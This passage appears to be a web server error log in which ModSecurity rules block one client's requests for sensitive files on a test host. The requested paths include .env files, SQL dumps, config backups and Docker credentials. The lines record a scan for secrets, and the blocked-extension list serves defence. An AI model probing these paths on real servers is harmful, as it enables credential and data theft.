&quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmUQAAAAI&quot;]
[Thu Feb 26 01:03:35.671267 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmUQAAAAI&quot;]
[Thu Feb 26 01:03:35.671407 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmUQAAAAI&quot;]
[Thu Feb 26 01:03:35.737870 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.example&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVmQAAAAc&quot;]
[Thu Feb 26 01:03:35.738075 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.example&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVmQAAAAc&quot;]
[Thu Feb 26 01:03:35.738220 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.example&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVmQAAAAc&quot;]
[Thu Feb 26 01:03:35.862295 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVnQAAAAc&quot;]
[Thu Feb 26 01:03:35.862874 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVnQAAAAc&quot;]
[Thu Feb 26 01:03:35.863026 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVnQAAAAc&quot;]
[Thu Feb 26 01:03:35.890372 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVngAAAAc&quot;]
[Thu Feb 26 01:03:35.890839 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVngAAAAc&quot;]
[Thu Feb 26 01:03:35.890979 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVngAAAAc&quot;]
[Thu Feb 26 01:03:35.934600 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVnwAAAAc&quot;]
[Thu Feb 26 01:03:35.935104 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVnwAAAAc&quot;]
[Thu Feb 26 01:03:35.935254 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVnwAAAAc&quot;]
[Thu Feb 26 01:03:36.505512 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElnAAAAAM&quot;]
[Thu Feb 26 01:03:36.506077 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElnAAAAAM&quot;]
[Thu Feb 26 01:03:36.506257 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElnAAAAAM&quot;]
[Thu Feb 26 01:03:36.575419 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElngAAAAM&quot;]
[Thu Feb 26 01:03:36.575646 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElngAAAAM&quot;]
[Thu Feb 26 01:03:36.575811 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElngAAAAM&quot;]
[Thu Feb 26 01:03:36.645491 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aZ-N2Ck1SHHL9bIjTI-QjAAAAAU&quot;]
[Thu Feb 26 01:03:36.645969 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aZ-N2Ck1SHHL9bIjTI-QjAAAAAU&quot;]
[Thu Feb 26 01:03:36.646122 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aZ-N2Ck1SHHL9bIjTI-QjAAAAAU&quot;]
[Thu Feb 26 01:03:36.720953 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aZ-N2Ck1SHHL9bIjTI-QjgAAAAU&quot;]
[Thu Feb 26 01:03:36.721172 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aZ-N2Ck1SHHL9bIjTI-QjgAAAAU&quot;]
[Thu Feb 26 01:03:36.721317 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aZ-N2Ck1SHHL9bIjTI-QjgAAAAU&quot;]
[Thu Feb 26 01:03:36.800325 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.bak&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElpAAAAAM&quot;]
[Thu Feb 26 01:03:36.800799 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.bak&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElpAAAAAM&quot;]
[Thu Feb 26 01:03:36.800971 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.bak&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElpAAAAAM&quot;]
[Thu Feb 26 01:03:36.930400 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag 